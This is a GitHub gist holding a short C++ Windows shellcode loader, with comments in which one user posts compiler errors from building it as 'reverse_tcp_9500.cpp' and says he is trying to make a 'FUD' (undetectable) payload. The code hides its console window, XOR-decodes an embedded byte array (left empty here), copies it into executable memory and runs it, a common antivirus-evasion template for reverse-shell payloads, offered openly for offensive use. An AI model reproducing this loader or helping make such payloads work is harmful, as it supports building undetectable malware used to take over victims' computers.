Skip to content

Instantly share code, notes, and snippets.

@Edu4rdSHL
Created February 26, 2021 00:34
Show Gist options
  • Save Edu4rdSHL/f9f349a9cce881b0fafb50cefdbc5bb5 to your computer and use it in GitHub Desktop.
Save Edu4rdSHL/f9f349a9cce881b0fafb50cefdbc5bb5 to your computer and use it in GitHub Desktop.
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
ShowWindow(GetConsoleWindow(), SW_HIDE);
char b[] = { };
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
((void(*)())exec)();
}
@beboynew
Copy link

hey, it's me again ... i tried this code too to compile a cpp file in kali linux.
keep getting errors, i wonder if you could help me on this one too (just had to change the windows.h to #include /usr/i686-w64-mingw32/include/windows.h )
image
here is a list of all the error i get (basically everything is related as an error)

r_everse_tcp_9500.cpp:1:10: error: #include expects "FILENAME" or
1 | #include /usr/i686-w64-mingw32/include/windows.h
| ^
reverse_tcp_9500.cpp:12:51: error: extended character ‘ is not valid in an identifier
12 | for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}
| ^
reverse_tcp_9500.cpp:12:51: error: extended character ’ is not valid in an identifier
reverse_tcp_9500.cpp: In function ‘int main(int, char**)’:
reverse_tcp_9500.cpp:5:12: error: ‘GetConsoleWindow’ was not declared in this scope
5 | ShowWindow(GetConsoleWindow(), SW_HIDE);
| ^~~~~~~~~~~~~~~~
reverse_tcp_9500.cpp:5:32: error: ‘SW_HIDE’ was not declared in this scope
5 | ShowWindow(GetConsoleWindow(), SW_HIDE);
| ^~~~~~~
reverse_tcp_9500.cpp:5:1: error: ‘ShowWindow’ was not declared in this scope
5 | ShowWindow(GetConsoleWindow(), SW_HIDE);
| ^~~~~~~~~~
reverse_tcp_9500.cpp:7:13: error: ‘MY XOR KEY’ was not declared in this scope;

reverse_tcp_9500.cpp: At global scope:
reverse_tcp_9500.cpp:8:2: error: expected declaration before ‘}’ token
8 | };
| ^
reverse_tcp_9500.cpp:10:15: error: ‘b’ was not declared in this scope
10 | char c[sizeof b];
| ^
reverse_tcp_9500.cpp:12:1: error: expected unqualified-id before ‘for’
12 | for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}
| ^~~
reverse_tcp_9500.cpp:12:17: error: ‘i’ does not name a type
12 | for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}
| ^
reverse_tcp_9500.cpp:12:31: error: ‘i’ does not name a type
12 | for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}
| ^
reverse_tcp_9500.cpp:14:37: error: ‘c’ was not declared in this scope
14 | void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
| ^
reverse_tcp_9500.cpp:14:40: error: ‘MEM_COMMIT’ was not declared in this scope
14 | void exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
| ^~~~~~~~~~
reverse_tcp_9500.cpp:14:52: error: ‘PAGE_EXECUTE_READWRITE’ was not declared in this scope
14 | void exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
| ^~~~~~~~~~~~~~~~~~~~~~
reverse_tcp_9500.cpp:14:14: error: ‘VirtualAlloc’ was not declared in this scope
14 | void exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
| ^~~~~~~~~~~~
reverse_tcp_9500.cpp:16:7: error: expected constructor, destructor, or type conversion before ‘(’ token
16 | memcpy(exec, c, sizeof c);
| ^
reverse_tcp_9500.cpp:18:3: error: expected unqualified-id before ‘void’
18 | ((void(
)())exec)();
| ^~~~
reverse_tcp_9500.cpp:18:3: error: expected ‘)’ before ‘void’
18 | ((void(
)())exec)();
| ~^~~~
| )
reverse_tcp_9500.cpp:18:3: error: expected ‘)’ before ‘void’
18 | ((void(
)())exec)();
| ~ ^~~~
| )
reverse_tcp_9500.cpp:20:1: error: expected declaration before ‘}’ token
20 | }
| ^_

i am truly sorry if it's a dumb fault again, but i've been stuck here for hours now
thank's in advance

@Edu4rdSHL
Copy link
Author

It's made to build on a Windows OS, not a Linux one.

@beboynew
Copy link

It's made to build on a Windows OS, not a Linux one.

oops, had another question, so i have to put this in Microsoft Visual Studio and run it ? or i should put it in Microsoft Visual Studio and transform it as a .exe ? As i said earlier i'm new to all of this and trying to create a FUD payload so ..
And thank's again for your help.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment